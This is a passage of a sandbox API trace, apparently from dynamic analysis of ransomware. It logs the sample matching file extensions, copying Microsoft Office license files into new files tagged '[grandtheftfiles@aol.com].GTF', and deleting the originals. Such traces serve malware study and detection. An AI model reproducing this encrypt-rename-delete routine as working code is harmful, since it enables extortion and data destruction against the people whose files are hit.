	[0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString=".zip") returned 4
	[0179.397] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".rar") returned 4
	[0179.397] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".bz2") returned 4
	[0179.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".7z") returned 3
	[0179.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString=".dbf") returned 4
	[0179.397] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString=".1cd") returned 4
	[0179.397] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString=".jpg") returned 4
	[0179.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.397] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.398] lstrlenW (lpString="O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 36
	[0179.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.398] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11630) returned 1
	[0179.398] CloseHandle (hObject=0x560) returned 1
	[0179.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220
	[0179.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.399] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.399] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.399] GetLastError () returned 0x0
	[0179.399] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0179.401] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.402] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.402] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0179.402] SetEndOfFile (hFile=0x504) returned 1
	[0179.402] CloseHandle (hObject=0x504) returned 1
	[0179.402] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.402] SetEndOfFile (hFile=0x560) returned 1
	[0179.405] CloseHandle (hObject=0x560) returned 1
	[0179.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1
	[0179.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.406] lstrlenW (lpString=".doc") returned 4
	[0179.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".docx") returned 5
	[0179.407] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.407] lstrlenW (lpString=".pdf") returned 4
	[0179.407] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".xls") returned 4
	[0179.407] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".xlsx") returned 5
	[0179.407] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.407] lstrlenW (lpString=".ppt") returned 4
	[0179.407] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString=".zip") returned 4
	[0179.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".rar") returned 4
	[0179.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".bz2") returned 4
	[0179.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".7z") returned 3
	[0179.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString=".dbf") returned 4
	[0179.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString=".1cd") returned 4
	[0179.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString=".jpg") returned 4
	[0179.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.407] lstrlenW (lpString=".doc") returned 4
	[0179.407] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.407] lstrlenW (lpString=".docx") returned 5
	[0179.407] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.408] lstrlenW (lpString=".pdf") returned 4
	[0179.408] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString=".xls") returned 4
	[0179.408] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString=".xlsx") returned 5
	[0179.408] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.408] lstrlenW (lpString=".ppt") returned 4
	[0179.408] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.408] lstrlenW (lpString=".zip") returned 4
	[0179.408] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString=".rar") returned 4
	[0179.408] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString=".bz2") returned 4
	[0179.408] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString=".7z") returned 3
	[0179.408] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.408] lstrlenW (lpString=".dbf") returned 4
	[0179.408] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.408] lstrlenW (lpString=".1cd") returned 4
	[0179.408] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0179.408] lstrlenW (lpString=".jpg") returned 4
	[0179.408] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.409] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.409] lstrlenW (lpString="O365HomePremR_SubTest2-pl.xrm-ms") returned 32
	[0179.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.409] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11179) returned 1
	[0179.409] CloseHandle (hObject=0x560) returned 1
	[0179.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220
	[0179.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.410] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.410] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.410] GetLastError () returned 0x0
	[0179.410] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0179.462] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.463] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.463] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0179.464] SetEndOfFile (hFile=0x504) returned 1
	[0179.464] CloseHandle (hObject=0x504) returned 1
	[0179.464] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.464] SetEndOfFile (hFile=0x560) returned 1
	[0179.466] CloseHandle (hObject=0x560) returned 1
	[0179.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1
	[0179.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.467] lstrlenW (lpString=".doc") returned 4
	[0179.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".docx") returned 5
	[0179.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.468] lstrlenW (lpString=".pdf") returned 4
	[0179.468] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".xls") returned 4
	[0179.468] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".xlsx") returned 5
	[0179.468] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.468] lstrlenW (lpString=".ppt") returned 4
	[0179.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString=".zip") returned 4
	[0179.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".rar") returned 4
	[0179.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".bz2") returned 4
	[0179.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".7z") returned 3
	[0179.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString=".dbf") returned 4
	[0179.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString=".1cd") returned 4
	[0179.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString=".jpg") returned 4
	[0179.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.468] lstrlenW (lpString=".doc") returned 4
	[0179.468] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.468] lstrlenW (lpString=".docx") returned 5
	[0179.468] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.468] lstrlenW (lpString=".pdf") returned 4
	[0179.469] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString=".xls") returned 4
	[0179.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString=".xlsx") returned 5
	[0179.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.469] lstrlenW (lpString=".ppt") returned 4
	[0179.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.469] lstrlenW (lpString=".zip") returned 4
	[0179.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString=".rar") returned 4
	[0179.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString=".bz2") returned 4
	[0179.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString=".7z") returned 3
	[0179.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.469] lstrlenW (lpString=".dbf") returned 4
	[0179.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.469] lstrlenW (lpString=".1cd") returned 4
	[0179.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0179.469] lstrlenW (lpString=".jpg") returned 4
	[0179.469] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.469] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.469] lstrlenW (lpString="O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 36
	[0179.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.470] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11630) returned 1
	[0179.470] CloseHandle (hObject=0x560) returned 1
	[0179.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0179.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.471] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.471] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.472] GetLastError () returned 0x0
	[0179.472] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0179.496] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.497] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.498] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0179.498] SetEndOfFile (hFile=0x504) returned 1
	[0179.498] CloseHandle (hObject=0x504) returned 1
	[0179.498] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.498] SetEndOfFile (hFile=0x560) returned 1
	[0179.501] CloseHandle (hObject=0x560) returned 1
	[0179.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1
	[0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.502] lstrlenW (lpString=".doc") returned 4
	[0179.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.502] lstrlenW (lpString=".docx") returned 5
	[0179.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.503] lstrlenW (lpString=".pdf") returned 4
	[0179.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".xls") returned 4
	[0179.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".xlsx") returned 5
	[0179.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.503] lstrlenW (lpString=".ppt") returned 4
	[0179.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString=".zip") returned 4
	[0179.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".rar") returned 4
	[0179.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".bz2") returned 4
	[0179.503] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".7z") returned 3
	[0179.503] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString=".dbf") returned 4
	[0179.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString=".1cd") returned 4
	[0179.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
